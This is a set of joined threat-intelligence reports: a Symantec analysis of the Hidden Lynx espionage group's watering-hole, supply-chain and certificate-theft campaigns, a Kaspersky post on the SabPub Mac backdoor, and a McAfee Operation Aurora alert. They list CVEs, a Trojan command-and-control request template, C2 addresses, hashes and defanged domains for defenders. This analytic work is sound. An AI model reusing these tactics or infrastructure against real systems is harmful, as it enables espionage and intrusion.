In a rapidly spreading two- phase attack, which started on June 25 and finished July 18, nearly 4,000 machines had downloaded a malicious payload.
These payloads were being delivered to unsuspecting victims from legitimate websites that were strategically compromised.
This watering-hole infection technique was quite innovative at the time.
In a watering-hole attack, the attacker compromises a legitimate website that the target uses and trusts.
The attacker then lies in wait for the target to visit the compromised site in order to infect them.
The scale and targeted nature of the VOHO campaign set it apart from watering-hole attacks observed in the past.
The group first adopted this technique in December 2011 when an exploit for the Oracle Java SE Rhino Script Engine Remote Code Execution Vulnerability (CVE-2011-3544) was leveraged to distribute their payloads.
As a result of their success, many other strategic compromises have been adopted by other attack groups, as seen in a notable attack targeting iOS developers earlier in 2013 which impacted employees at Facebook, Apple and Twitter.
In the VOHO campaign, ten legitimate websites were strategically compromised.
The attackers carefully selected these websites based on the likelihood that the intended target(s) would visit them during the exploit delivery phase.
The attackers likely pre-determined who visited the watering-hole in advance of the distribution phase of attack.
This could easily be achieved by examining the access logs of compromised Web servers.
The categories of websites compromised were both regional and industry-specific in nature and targeted the following key areas illustrated in Figure 5.
Figure 5.
The VOHO campaign target regions and industries Figure 6.
The VOHO campaign malicious activity timeline - a two-phase attack Page 11 Hidden Lynx  Professional Hackers for Hire Timeline of activity The VOHO watering-hole distributed remote access Trojans in two phases.
In phase one of the attack, an Internet Explorer zero-day vulnerability, the Microsoft XML Core Services CVE-2012-1889 Remote Code Execution Vulnerability (CVE-2012-1889), was leveraged.
On July 10, Microsoft introduced the patch for CVE-2012-1889 and activity at the watering-hole ceased.
This appears to have been a clever decision on behalf of the attackers.
If they continued to deliver the exploit, they risked detection and would have hurt their chances of retaining access to the watering-hole for phase two of the campaign.
Within six days, phase two of the distribution began, this time using a malicious Java applet exploiting the Oracle Java SE CVE-2012-1723 Remote Code Execution Vulnerability (CVE-2012-1723).
This Java exploit was patched at the time.
Having already used two zero-day exploits in quick succession (the first zero-day exploit was used in the GOTHAM campaign in May 2012, see appendix for more details), the Hidden Lynx group may not have had another one at their disposal.
The timeline of activity at the watering-hole is shown in Figure 6.
In each phase of the attack, two Trojans were being distributed at different intervals.
The customized version of Gh0st RAT, Backdoor.
Moudoor, saw large-scale distribution in comparison to Trojan.
Naid, which was used more selectively in these attacks.
Before being used in the second phase of the attack, Trojan.
Naid was signed with the Bit9 certificate.
Moudoor was never observed during the attack on Bit9, which could indicate that two separate teams are at work here.
With Moudoor and Naid using different command-and-control (CC) servers, each team could work independently on alternative objectives.
The discovery of the Naid CC would also be less likely in comparison to Moudoors, as its large-scale distribution would inevitably create more noise as it continued to impact many organizations.
Figure 7.
The VOHO campaign  Trojans distributed and CC servers used to command and control Page 12 Hidden Lynx  Professional Hackers for Hire Team Naids role During this campaign, Team Naid had a very specific objective  to gain access to information from organizations operating in the defense industrial sector.
An unsigned version of Naid was distributed to select victims within the defense industrial sector during phase one until Microsoft supplied a patch for CVE-2012-1889 on July 10.
It may have been during this phase of the attack when the team realized the information they sought was held by organizations protected by Bit9.
As the team found it difficult to compromise Bit9-protected computers and had no viable exploit for distribution, their immediate objective focused on Bit9s digital code-signing certificate.
By July 13, just a few days after they started their attacks on Bit9, they obtained the Bit9-signed Naid.
By the next day, they had built a viable Java exploit to distribute their Trojan.
Armed with the newly-signed Trojan and delivery vehicle, the group resumed malicious activity at the watering-hole for three days from July 16.
It was during this period that three organizations protected with the Bit9 platform were successfully compromised.
In this campaign, Naid was specifically reserved for special operations against high value targets.
Team Naids objective was narrow and focused and the team aimed to limit Naids exposure.
The sophistication of the overall attack is typical of attackers with a very high pedigree.
The team is clearly highly skilled they operate methodically and can switch objectives at a moments notice.
They rapidly adapted to external factors that were hindering their specific objective and pursued a difficult prize - the Bit9 certificate - in order to achieve their overall goal.
Team Moudoors role The distribution of Moudoor during this campaign was on a much larger scale.
Organizations operating in the financial sector, all levels of government (local and federal), healthcare, education and law were impacted during this campaign.
There is a wealth of sensitive information within these organizations which would be of interest to both nation states and entities that would benefit from information as a result of corporate espionage attacks.
The top distinct infections per organization type are shown in Figure 8.
A campaign distributing Moudoor on such a large scale would require a sizeable team to operate and maintain remote access to these compromised computers.
The breach phase of the operation could easily be handled by a smaller team, which then passes control to a larger team of operators who can traverse networks and retrieve the information they are tasked with gaining access to.
To efficiently Figure 8.
Industries with the most Backdoor.
Moudoor infections during the VOHO campaign Page 13 Hidden Lynx  Professional Hackers for Hire attack this many organizations concurrently would require an equally large number of operators.
These Trojans require manual operation so its conceivable that tens if not hundreds of operators would be used post-breach to process and handle the stolen data.
The VOHO campaign is one of a number of campaigns attributed to this group over the last four years.
It showed how quickly the group could change their strategy and the lengths they would go to get to their targets.
The fact that the Bit9 code-signing certificate breach was only a small part of this campaign shows how adaptable and determined the group is.
Advanced zero-day access The group is highly organized and can gain advanced access to zero-day vulnerabilities.
In February, the Hidden Lynx group used this advanced knowledge to take advantage of the  Oracle Java SE CVE-2013-1493 Remote Code Execution Vulnerability (CVE-2013-1493) to attack Japanese targets in the FINSHO campaign.
FINSHO Within two days of Bit9s blog post on February 25, the attackers began distributing Moudoor and Naid in a campaign that leveraged CVE-2013- 1493.
Interestingly, the CC server configured in Naid (110.173.55.187) was also configured in a sample found in the Bit9 incident.
Although the version used against Bit9 was not observed elsewhere in the wild, the groups methodical approach would indicate that a similar campaign may have been intended for that Trojan.
The timeline for exploit development and distribution is illustrated in Figure 9.
According to Oracles blog, CVE-2013-1493 was reported to them on February 1, the same day that class files exploiting it were added to MightDev.jar shown in Figure 10.
In past Java exploits used by this group, the code was already public knowledge and a patch was already available for the software.
In this case, they gained advanced knowledge from an unknown source - a source with early access to the exploit conditions, possibly on the same day as Oracle.
Oracle released the fix for CVE-2013-1493 on March 4.
Figure 10.
MightDev.jar used to distribute Naid and subsequently Moudoor Figure 9.
Timeline of activity for CVE-2013-1493 distributing Moudoor and Naid in the FINSHO campaign Page 14 Hidden Lynx  Professional Hackers for Hire Figure 11 illustrates the relationship between FINSHO and the Bit9 incident through the shared CC server used in both Naid configurations.
Alternate CC servers and separate websites for distribution provide further evidence that there are distinctions between how these teams operate.
Supply chain attacks The Hidden Lynx group continued to attack the defense industry post-VOHO.
In another campaign named SCADEF, manufacturers and suppliers of military-grade computers were observed installing a Trojanized Intel driver application.
SCADEF The attackers bundled this Intel driver application with variants of Backdoor.
Moudoor using a popular Chinese archiving application called Haozip.
The attackers likely compromised a legitimate download of this driver application from a non-reputable source but the true source was never discovered in this investigation.
The technique is another avenue into hardened networks of interest.
They attack not only hardware suppliers, but contractors that may access these networks during their course of work.
The group seeks out the weakest link in the chain and simply lies in wait.
In these specific attacks, they simply wait for a shipment of compromised computers to be installed into the targeted network.
Unique detections observed for these Trojanized applications are presented in Figure 12.
The VOHO, FINSHO and SCADEF campaigns each showed how efficient and adaptable the group is when focusing on their targets.
They use a wide range of advanced attack methods and change their strategy when required to carry out each operation.
These three campaigns are only some of the operations undertaken by the Hidden Lynx group, making them a credible threat to several industries.
Figure 12.
Supply chain hacking detections in the IT supply/defense/healthcare industry Figure 11.
CVE-2013-1493 used to distribute Trojan.
Naid and Backdoor.
Moudoor (February/March 2013) in the FINSHO campaign CONCLUSION From the evidence seen, its clear that Hidden Lynx belongs to a professional organization.
Page 16 Hidden Lynx  Professional Hackers for Hire Conclusion Cyberespionage campaigns are becoming increasingly common, with countless threat actors attempting to gain footholds into some of the best-protected organizations.
These attacks are becoming increasingly sophisticated.
The capabilities and tactics used by these threat actors vary considerably.
The Hidden Lynx group is capable of undertaking focused attacks against niche targets and running large-scale campaigns targeting multiple organizations on a global scale.
They have seen action in numerous campaigns since 2009 and repeatedly attack their targets with cutting-edge techniques.
They quickly adapt to security counter-measures and are highly motivated.
They are one of the most well-resourced and capable attack groups in the targeted threat landscape.
From the evidence seen, its clear that Hidden Lynx belongs to a professional organization.
They operate in a highly efficient manner.
They can attack on multiple fronts.
They use the latest techniques, have access to a diverse set of exploits and have highly customized tools to compromise target networks.
Their attacks, carried out with such precision on a regular basis over long periods of time, would require a well-resourced and sizeable organization.
They possess expertise in many areas, with teams of highly skilled individuals who can adapt rapidly to the changing landscape.
This team could easily consist of 50-100 individuals.
This level of resources would be needed to build these Trojans, maintain infection and CC infrastructure and pursue confidential information on multiple networks.
They are highly skilled and experienced campaigners in pursuit of information of value to both commercial and governmental organizations.
The incident in Bit9, which ultimately led to successful compromises of hard-to-crack targets during the VOHO campaign, only serves to highlight this fact.
The evolving targeted attack landscape is becoming increasingly sophisticated.
As organizations implement security counter-measures, the attackers are adapting at a rapid rate.
With a growing number of threat actors participating in these campaigns, organizations have to understand that sophisticated attackers are working hard to bypass each layer of security.
Its no longer safe to assume that any one solution will protect a companys assets.
A variety of solutions need to be combined and, with a better understanding of the adversary, tailored to adequately protect the information of most interest to the attackers.
The Hidden Lynx groups mission is large and theyre targeting a diverse set of information.
The frequency and diversity of these attacks would indicate that the attackers are tasked with sourcing information from many organizations.
These tasks are likely distributed within the team.
The groups goal is to gain access to information within organizations in some of the wealthiest and most technologically advanced countries across the globe.
It is unlikely that they can use this information for direct financial gain, and the diversity of the information and number of distinguishable campaigns would suggest that they are contracted by multiple clients.
This leads us to believe that this is a professional organization that offers a hackers for hire service.
The worrying knock-on effect of this groups activities is that other threat actors are learning and adopting their techniques.
The Hidden Lynx group is not basking in their past glories, they are continuing to refine and streamline their operations and techniques to stay one step ahead of their competition.
Organizations that are being attacked on multiple fronts need to better protect the information that is most valuable to them.
We expect these attackers to be involved in many more high profile campaigns in the coming years.
They will continue to adapt and innovate.
They will continue to provide information servicing interests at both a corporate and state level.
Groups like Hidden Lynx are certainly winning some of the battles, but as organizations gain a better understanding of how these groups operate, they can take steps to help prevent their most valuable information from falling into attackers hands.
APPENDIX Page 18 Hidden Lynx  Professional Hackers for Hire Appendix Related attacks The three campaigns that have already been examined in detail are only a snapshot of the groups activities.
Since the time they adopted Moudoor in late 2011, persistent attacks against organizations across the globe have been occurring on a regular basis, even to this day.
These attackers pioneered the watering-hole technique, however they can also fall back to more traditional methods of attack, such as spear-phishing emails, supply chain attacks and Trojanized software updates.
Since 2011, the Hidden Lynx group has leveraged five browser-based exploits for payload distribution, three of which were zero-day exploits.
The list of browser-based exploits used by the Hidden Lynx group since the introduction of Moudoor is presented in Table 1.
In the first half of 2012, there was a particularly high distribution of Moudoor.
There was a peak in June/July as a result of the VOHO campaign which is evident in the graph shown in Figure 13.
There is also a peak at the beginning of the year which is a result of another high distribution campaign called WSDHEALTHY.
This campaign, along with some other notable attacks and techniques, will be discussed in the following sections.
GOTHAM  Shared distribution, shared CC  yet another zero day exploit WSDHEALTHY  Watering-hole campaigns pre-dating VOHO by seven months EASYUPDATE  Trojanizing a popular P2P softwares updates Table 1.
Vulnerabilities associated with Naid/Moudoor distribution (Nov 2011  March 2013) CVE Description Exploit Website CVE-2011-3544 Oracle Java Rhino Script Engine http://www.wsdhealthy.com http://www.tade.org.tw http://www.gnnet.co.kr CVE-2012-1875 Microsoft Internet Explorer - Same ID Property RCE Vulnerability http://www.gothamcenter.org http://www.villagemania.it CVE-2012-1889 Microsoft XML Core Services CVE-2012-1889 RCE Vulnerability http://www.gothamcenter.org http://www.torontocurling.com (VOHO) http://ansky.hk166.cqbi.com CVE-2012-1723 Oracle Java SE CVE-2012-1723 RCE Vulnerability http://www.torontocurling.com (VOHO) CVE-2013-1493 Oracle Java SE RCE Vulnerability http://www.k-sho.co.jp http://www.finesis.jp Figure 13.
Unique infections of Moudoor and Naid (November 2011  June 2013) Page 19 Hidden Lynx  Professional Hackers for Hire GOTHAM  Campaigns running concurrently On May 30th, The Hidden Lynx group used their first zero-day exploit of 2012, taking advantage of the Microsoft Internet Explorer CVE-2012-1875 Same ID Property Remote Code Execution Vulnerability  (CVE-2012-1875)  in order to distribute Moudoor and Naid from gothamcenter.org, a website devoted to the history of New York.
This was a two-phase attack which saw Team Naid and Team Moudoor share CC infrastructure (219.90.117.132) in a smaller campaign that infected organizations in the following industries: Financial services Information communications technology Government Marketing Information technology Aerospace/defense Energy Many of the industries targeted in this campaign are similar to those targeted in the VOHO campaign, so this could be considered as a pre-cursor to that campaign.
Similar to VOHO, this was a two- phased attack that leveraged two Internet Explorer zero-days for distribution (CVE- 2012-1875 and CVE- 2012-1889).
Similar to VOHO, as Microsoft patched CVE-2012- 1875, the attackers halted distribution.
This prevented any unnecessary suspicious activity from being identified that could impact future activity from the compromised website.
A timeline for this activity is presented in Figure 14.
Sharing CC infrastructure could indicate that both teams were working closely together and may have divided up the effort during this campaign.
During phase two of this campaign, VOHO began.
The Hidden Lynx group is clearly resourced to operate and maintain distribution and CC infrastructure across multiple campaigns.
This level of organization requires discipline at multiple levels within the group.
This is not a small group of elite hackers  this is a well- organized professional organization.
One campaign that rivals VOHO in terms of size is WSDHEALTHY.
This is the first campaign where we see the group using Naid and Moudoor together sharing infrastructure and the first links to the Bit9 incident Figure 14.
Activity timeline on gothamcenter.org Figure 15.
Moudoor and Naid share distribution and command and control servers Page 20 Hidden Lynx  Professional Hackers for Hire start to emerge.
WSDHEALTHY  Shared infrastructure with the Bit9 incident The Hidden Lynx group began using watering-hole attacks as early as December 2011.
Although no zero-day exploit was available, they used a patched Java exploit (CVE- 2011-3544) effectively to distribute Moudoor from three compromised websites.
This campaign provided the first indications that the group was using both Moudoor and Naid to attack targets and share CC infrastructure.
Along with this, early links to the attacks on Bit9 began to emerge.
The timeline of this activity is shown in Figure 16.
In these campaigns, the Hidden Lynx group made heavy use of infrastructure in Hong Kong, with the exception of yahooeast.net.
This is this domain that links to the Bit9 attack, as it resolved to 66.153.86.14  a CC server used by the Backdoor.
Hikit sample installed after the successful SQL injection attack on Bit9.
Moudoor was being actively distributed from these websites for two, four and five months respectively.
These are exceptionally long periods of time to retain access to compromised servers for payload distribution of this nature.
The CC servers used and the links between the Trojans and Bit9 are shown in Figure 17.
Team Moudoor heavily relies on a dynamic DNS service called DTDNS to rapidly switch between CC servers.
In fact, they use direct IP connections or DTDNS exclusively to establish CC communications, with the Figure 16.
Timeline of malicious activity associated with CVE-2011-3544 Figure 17.
CVE-2011-3544 - the first links between Moudoor and Naid emerge Page 21 Hidden Lynx  Professional Hackers for Hire exception of yahooeast.net which is a registered domain.
The Hidden Lynx group uses techniques which have clearly been established through experience to maintain this infrastructure for long periods of time.
They adapt quickly and likely have a stockpile of CC servers that they can quickly switch to which provides maximum uptime during any given operation.
Along with this, the Hidden Lynx group uses several different methods to infect their targets.
In the SCADEF campaign, we saw how the group bundled Moudoor with legitimate software to infect targets.
They also managed to Trojanize software updates as well, as seen in the EASYUPDATE campaign where a Chinese P2P application was observed selectively installing Moudoor since 2011.
EASYUPDATE  A Trojanized software update Since November 2011, the Hidden Lynx group has been able to insert Moudoor into the distribution chain of one of the most popular Chinese P2P applications provided by VeryCD.com.
There is a very low distribution of Trojanized updates and it is quite likely that they are somehow selectively installing Moudoor on specific clients.
This is, without a doubt, the longest running distribution vector for the group, which infected victims predominantly in China, the United States and Hong Kong.
These are the earliest indications of Moudoor infections, with kissnada being one of the first DTDNS domains observed in use.
This distribution vectors exact purpose is still unclear, however its certainly linked to the group, Figure 18.
Percentage breakdown of unique detections from VeryCD P2P client Figure 19.
Moudoor variants downloaded through P2P client updates Page 22 Hidden Lynx  Professional Hackers for Hire as we have observed Moudoor samples in WSDHEALTHY configured to use kissnada58.
chatnook.com and usa- mail.scieron.com for CC communications.
The Hidden Lynx group has left a clear fingerprint for the past two years with clearly identifiable links to the groups activities.
The use of customized Trojans, shared distribution and CC infrastructure, coupled with repeated attacks on a predictable set of target organizations has allowed a more complete picture of these attacks to be compiled.
A summary of the links between all of these attacks is presented in Figure 20.
Trojans used by the Hidden Lynx group The following section lists the Trojans that were used by the Hidden Lynx group throughout their various campaigns.
Backdoor.
Moudoor In 2011, the Hidden Lynx group began to use Backdoor.
Moudoor.
This is a customized version of Gh0st RAT.
Gh0st RAT variants have been used in cyberespionage campaigns emanating from China for years.
In 2009, Information Warfare Monitor published a detailed report, Tracking GhostNet, following an investigation into a cyberespionage network of more than 1,000 compromised computers affecting more than 100 countries.
Many threat actors use customized versions of this RAT for cyberespionage operations.
Trojan.
Naid The team uses Trojan.
Naid for special operations.
It first appeared in May 2009 and has been used in many high profile attacks over the past four years.
It shares Figure 20.
Linking the groups activity (November 2011-March 2013) Figure 21.
Naid/Vasport obfuscation tool Page 23 Hidden Lynx  Professional Hackers for Hire technical similarities with other Trojans which also originate from China.
All of these Trojans are potentially from the same group or they may source these Trojans from the same developer.
The technical similarities are based on a shared file creation template and CC protocol.
The other Trojans that share these traits are: Backdoor.
Vasport Backdoor.
Boda File creation template TEMP\uid.ax TEMP\s.ax TEMP\s _ p.ax Command and control template POST http://ls:d/x HTTP/1.1 Content-Length: 2 CONNECT ls:d HTTP/1.1 Connection: keep-alive lynx There is also evidence that Backdoor.
Vasport and Trojan.
Naid have shared the same packer to obfuscate the payloads from AV detection.
The obfuscation tool used is also Chinese in origin and has a simple user interface to help pack these Trojans.
Naid also has a history of using stolen digital certificates to overcome trust-based protection when attacking certain hardened targets.
Some of the certificates identified are shown in Figure 22.
Backdoor.
Vasport Backdoor.
Vasport was delivered by exploiting the Adobe Flash Player CVE-2012-0779 Object Type Confusion Remote Code Execution Vulnerability (CVE- 2012-0779).
This was delivered in malicious Word documents in targeted attack emails.
The exploit component used in these attacks was also used in the Elderwood Platform.
Table 2 shows the payload from the malicious word documents.
Backdoor.
Boda In a more recent campaign called Ladyboyle, Backdoor.
Boda was being distributed to take advantage of the Adobe Figure 22.
Stolen digital certificates used by Trojan.
Naid Table 2.
Backdoor.
Vasport payload from malicious Word documents PE Timestamp MD5 CC 27/04/2012 22:07 6fe1634dce1d095d6b8a06757b5b6041 svr01.passport.serveuser.com Page 24 Hidden Lynx  Professional Hackers for Hire Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634).
These files were signed with a digital signature from MGAME Corporation, a tactic used previously by the attackers.
Interestingly, Backdoor.
Boda and Backdoor.
Vasport were both distributed using Flash zero- day exploits in embedded documents.
Its plausible that the group has a team dedicated to distribution using Flash exploits that customizes Trojans from the same code base that the Naid uses.
Trojan.
Hydraq (Operation Aurora) The Hidden Lynx group has used cutting-edge attack techniques and a consistent methodology.
Trojan.
Naid has been in use since 2009 and Hidden Lynx attacks bear the hallmarks of a campaign that involved yet another Internet Explorer zero-day exploit in December 2009.
Trojan.
Naid was used in the infamous attacks on organizations in the financial, technology, Internet and media sectors called Operation Aurora.
These attacks are linked with another Trojan called Trojan.
Hydraq, but Naid was downloaded in stage three of the operation.
Trojan.
Hydraq disappeared from the targeted attack landscape shortly after Operation Aurora, most likely due to the close attention that it was receiving from security researchers.
Trojan.
Naid did not meet the same fate, as it is still being used in sophisticated targeted attacks to this day.
Figure 23.
Trojan.
Naid links to Hydraq and Operation Aurora Page 25 Hidden Lynx  Professional Hackers for Hire Resources http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions http://googleblog.blogspot.ie/2010/01/new-approach-to-china.html https://blog.bit9.com/2013/02/08/bit9-and-our-customers-security/ https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ http://www.symantec.com/security_response/writeup.jsp?docid2012-082113-5541-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061518-4639-99 http://blogs.rsa.com/wp-content/uploads/VOHO_WP_FINAL_READY-FOR-Publication-09242012_AC.pdf http://threatpost.com/why-watering-hole-attacks-work-032013 http://www.symantec.com/connect/blogs/latest-java-zero-day-shares-connections-bit9-security-incident http://www.cio.com/article/732122/_Aurora_Cyber_Attackers_Were_Really_Running_Counter_Intelligence http://www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/ http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-5938-99 http://www.symantec.com/connect/blogs/elderwood-project http://www.symantec.com/connect/blogs/adobe-zero-day-used-ladyboyle-attack Page 26 Hidden Lynx  Professional Hackers for Hire Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (Traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack.
Trojan.
Hydraq Backdoor.
Moudoor Trojan.
Naid Backdoor.
Hikit Backdoor.
Vasport Backdoor.
Boda Symantec Protection File-based protection Symantec Endpoint Protection Norton 360 Norton Internet Security Norton Anitvirus Network-based protection Behavior-based protection Reputation-based protection Norton Safeweb Download Insight Application  device control Browser protection Page 27 Hidden Lynx  Professional Hackers for Hire Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts.
Web Attack: Oracle Java Rhino Script Engine CVE-2011-3544 (24700) Web Attack: Oracle Java Rhino Script Engine CVE-2011-3544 3 (24917) Web Attack: MSIE Same ID Property CVE-2012-1875 (25787) Web Attack: MSIE Same ID Property CVE-2012-1875 2 (26485) Web Attack: MSIE MSXML CVE-2012-1889 (25783) Web Attack: MSIE MSXML CVE-2012-1889 2 (50331) Web Attack: MSIE MSXML CVE-2012-1889 3 (25786) Web Attack: MSIE MSXML CVE-2012-1889 4 (25986) Web Attack: Java CVE-2012-1723 RCE (26051) Web Attack: Java CVE-2012-1723 RCE 2 (26080) Web Attack: Oracle Java Type Confusion Attack CVE-2012-1723 4 (25962) Web Attack: Oracle Java SE CVE-2012-1723 Remote Code Execution Vulnerability 3 (25934) Web Attack: Java CVE-2013-1493 RCE (26556) Web Attack: Java CVE-2013-1493 RCE 2 (26525) Behavior-based protection Behavior-based detection blocks suspicious processes using the Bloodhound.
SONAR series of detections Reputation-based protection (Insight) Norton Safeweb blocks users from visiting infected websites.
Insight detects and warns against suspicious files as WS.Reputation.1 About Symantec Symantec protects the worlds information and is the global leader in security, backup, and availability solutions.
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Authors Follow us on Twitter threatintel Visit our Blog http://www.symantec.com/connect/symantec-blogs/sr Stephen Doherty Senior Threat Intelligence Analyst Jozsef Gegeny Software Engineer Branko Spasojevic Sr Software Engineer Jonell Baltazar Sr Software Engineer
New Version of OSX.SabPub  Confirmed Mac APT attacks Late last week, we found evidence of a possible link between a Mac OS X backdoor trojan and an APT attack known as LuckyCat.
The IP address of the CC to which this bot connects (199.192.152.)
was also used in other Windows malware samples during 2011, which made us believe we were looking at the same entity behind these attacks.
For the past two days, we have been monitoring a fake infected system - which is a typical procedure we do for APT bots.
We were extremely surprised when during the weekend, the APT controllers took over our goat infected machine and started exploring it.
On Friday Apri 13, port 80 on the CC server located at rt.onedumb.com and hosted on a VPS in Fremont, U.S. was closed.
Saturday, the port was opened and bot started communicating with the CC server.
For the entire day, the traffic was just basic handshakes and exchanges, nothing more.
On the morning of Sunday April 15, the traffic generated by the CC changed.
The attackers took over the connection and started analysing our fake victim machine.
They listed the contents of the root and home folders and even stole some of the goat documents we put in there https://www.securelist.com/en/blog/208193467/SabPub_Mac_OS_X_Backdoor_Java_Exploits_Targeted_Attacks_and_Possible_APT_link http://t.co/BYJ1lnBX Encoded communication between CC and our fake victim Packet above, decoded - attacker is listing folders content We are pretty confident the operation of the bot was done manually -- which means a real attacker, who manually checks the infected machines and extracts data from them.
We can therefore confirm SabPub as APT in active stage.
On Sunday midday, the CC domain was shutdown and the bot lost connection to it this appears to be an initiative from the free DNS service onedumb.com and it was no doubt triggered by the media attention.
Interestingly, the VPS used as the CC is still active.
While analysing SabPub, we discovered another version of the backdoor which seems to have been created earlier.
This version differs from the original one only slightly -- the hardcoded CC address is different -- instead of the onedumb.com subdomain used by the original sample (hardcoded in the bot as e3SCNUA2Om97ZXJ1fGIY4Bt), this one simply contains the IP address of the VPS (hardcoded as OjlDLjw5Pi4NUAuQDBA), meaning, it should still be operational.
Its size is 42556 bytes vs 42580 for the original one.
One of the biggest mysteries is the infection vector of these attacks.
Given the highly targeted nature of the attack, there are very few traces.
Nevertheless, we found an important detail which is the missing link: Six Microsoft Word documents, which we detect as Exploit.
MSWord.
CVE-2009-0563.a.
In total we have six relevant Word .docs with this verdict -- with four dropping the MaControl bot.
The remaining two drop SabPub.
The most interesting thing here is the history of the second SabPub variant.
In our virus collection, it is named 8958.doc.
This suggests iit was extracted from a Word document or was distributed as a Doc-file.
We performed an analysis of the same and traced its origin by the MD5 (40C8786A4887A763D8F3E5243724D1C9).
The results were fascinating: - The sample was uploaded to VirusTotal on February 25, 2012  from two sources in the U.S. - In both cases, the original file name was 10th March Statemnet (yes, with the typo and without extension) - Zero detections on VirusTotal at that time (0/40) In case you are wondering, the name of the file (10th March Statemnet) is directly linked with the Dalai- Lama and Tibetan community.
On March 10, 2011, the Dalai-Lama released a special statement related to Anniversary of the Tibetan Peoples National Uprising Day -- hence the name.
Properties field of a document used to spread SabPub Unfortunately there is little information in the doc files, but the Author field and the creation date are interesting.
In particular, if we trust the creation date, this means the container DOC was created in August 2010 and it was updated in 2012 with the SabPub sample.
This is quite normal for such attacks and we have seen it in other cases, for instance, Duqu.
We think the above facts show a direct connection between the SabPub and Luckycat APT attacks.
We are pretty sure the SabPub backdoor was created as far back as February 2012 and was distributed via spear- phishing emails.
It is also important to point that SabPub isnt backdoor MaControl (the case was described here) but still http://labs.alienvault.com/labs/index.php/2012/ms-office-exploit-that-targets-macos-x-seen-in-the-wild-delivers-mac-control-rat/ uses the same topics to trick victims into opening it.
SabPub was the more effective attack because it remained undetected for almost two months The second variant of SabPub was created in March and the attackers are using Java exploits to infect target Mac OS X machines.
SabPub is still an active attack and we expect the attackers will release new variants of the bot with new C2s over the next days/weeks.
To summarize: - At least two variants of the SabPub bot exist today.
-
The earliest version of the bot appears to have been created and used in February 2012.
-
The malware is being spread through Word documents that exploit the CVE-2009-0563 vulnerability.
-
SabPub is different from MaControl, another bot used in APT attacks in February 2012 SabPub was more effective because it stayed undetected for more than 1.5 months.
-
the APT behind SabPub is active at the time of writing.
Thanks to Aleks Gostev and Igor Soumenkov for the analysis.
http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-0563
Alert January 26, 2010 McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or its affiliates in the U.S. and/or other countries.
McAfee Red in connection with security is distinctive of McAfee brand products.
Any other non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property of their respective owners.
2009 McAfee, Inc. All rights reserved.
McAfee Labs identified a zero-day vulnerability in Microsoft Internet Explorer that was used as an entry point for Operation Aurora to exploit Google and at least 30 other companies.
How can I tell if my systems were infected?
If you are a McAfee VirusScan Engine customer, verify that you are using .DAT 5864 released on January 18, 2010 (McAfee has provided protection to identify this as of release 5862 and is updating as we continue to debug the attack) and perform a full scan on all machines within your enterprise, starting with most sensitive servers.
If you detect the following signatures triggered: Exploit-Comele, Roarur.dr or Roarur.dll, you very likely have an infected Aurora host and should reach out toMcAfee Foundstone, our vulnerability management and protection services division, for onsite Incident Response Services.
You may also take advantage of McAfees free Stinger product, used to clean up an Operation Aurora-infected system.
If Im not a McAfee customer If you are not a McAfee Virus Scan Engine customer and your anti-malware vendor does not provide comprehensive detection for Aurora binaries, you can perform filename and md5 hash searches on your servers to determine if you have any matches that way.
You should ensure that the md5 hash matches along with the filename to avoid false positives, as the filenames themselves are not unique and are very common Windows OS and other legitimate program filenames.
The list of files and hashes is as follows: securmon.dll: E3798C71D25816611A4CAB031AE3C27A Rasmon.dll: 0F9C5408335833E72FE73E6166B5A01B a.exe: CD36A3071A315C3BE6AC3366D80BB59C b.exe 9F880AC607CBD7CDFFFA609C5883C708 AppMgmt.dll 6A89FBE7B0D526E3D97B0DA8418BF851 A0029670.dll 3A33013A47C5DD8D1B92A4CFDCDA3765 msconfig32.sys 7A62295F70642FEDF0D5A5637FEB7986 VedioDriver.dll 467EEF090DEB3517F05A48310FCFD4EE acelpvc.dll 4A47404FC21FFF4A1BC492F9CD23139C How Can I Tell if I Was Infected By Aurora?
http://www.foundstone.com/us/contact-form_911.aspx http://download.nai.com/products/mcafee-avert/aurora_stinger.exe http://download.nai.com/products/mcafee-avert/aurora_stinger.exe Alert January 26, 2010 McAfee and/or other noted McAfee related products contained herein are registered trademarks or trademarks of McAfee, Inc., and/or its affiliates in the U.S. and/or other countries.
McAfee Red in connection with security is distinctive of McAfee brand products.
Any other non-McAfee related products, registered and/or unregistered trademarks contained herein is only by reference and are the sole property of their respective owners.
2009 McAfee, Inc. All rights reserved.
Check for outbound Web communications You can also check for outbound past or present Web communication or DNS resolutions of the following domains known to be associated with the malware activity: ftpaccess[dot]cc 360[dot]homeunix[dot]com sl1[dot]homelinux[dot]org ftp2[dot]homeunix[dot]com update[dot]ourhobby[dot]com ad01[dot]homelinux[dot]com ads1[dot]homelinux[dot]org ads1[dot]webhop[dot]org aep[dot]homelinux[dot]com aka[dot]homeunix[dot]net alt1[dot]homelinux[dot]com amd[dot]homeunix[dot]com amt1[dot]homelinux[dot]com amt1[dot]homeunix[dot]org aop01[dot]homeunix[dot]com aop1[dot]homelinux[dot]com asic1[dot]homeunix[dot]com bdc[dot]homeunix[dot]com corel[dot]ftpaccess[dot]cc ddd1[dot]homelinux[dot]com demo1[dot]ftpaccess[dot]cc du1[dot]homeunix[dot]com fl12[dot]ftpaccess[dot]cc ftp1[dot]ftpaccess[dot]cc patch[dot]homeunix[dot]org up1[dot]mine[dot]nu hho1[dot]homeunix[dot]com hp1[dot]homelinux[dot]org i1024[dot]homeunix[dot]org i1024[dot]homelinux[dot]com ice[dot]game-host[dot]org il01[dot]servebbs[dot]com il01[dot]homeunix[dot]com il02[dot]servebbs[dot]com il03[dot]servebbs[dot]com lih001[dot]webhop[dot]net lih002[dot]webhop[dot]net lih003[dot]webhop[dot]net list1[dot]homelinux[dot]org live1[dot]webhop[dot]org patch1[dot]gotdns[dot]org patch1[dot]ath[dot]cx patch1[dot]homelinux[dot]org ppp1[dot]ftpaccess[dot]cc 